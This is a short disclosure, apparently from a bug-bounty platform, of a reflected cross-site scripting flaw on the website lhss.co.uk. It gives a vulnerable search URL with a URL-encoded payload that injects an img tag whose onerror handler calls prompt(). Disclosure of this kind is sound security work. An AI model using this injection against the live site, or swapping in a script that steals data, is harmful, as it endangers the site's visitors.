lhss.co.uk XSS vulnerability

Vulnerable URL: http://www.lhss.co.uk/search-results/?co=q=1=31=12=s5eng2=7&gi7;=http%3A%2F%2Fwww.lhss.co.uk%2Fwp-content%2Fthemes%2Flimuso%2Fcss%2Fallsearch.css=1=0=255=0dom=http%3A%2F%2Fwww.lhss.co.uk%2F|=0=www.lhss.co.uk=uk=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22...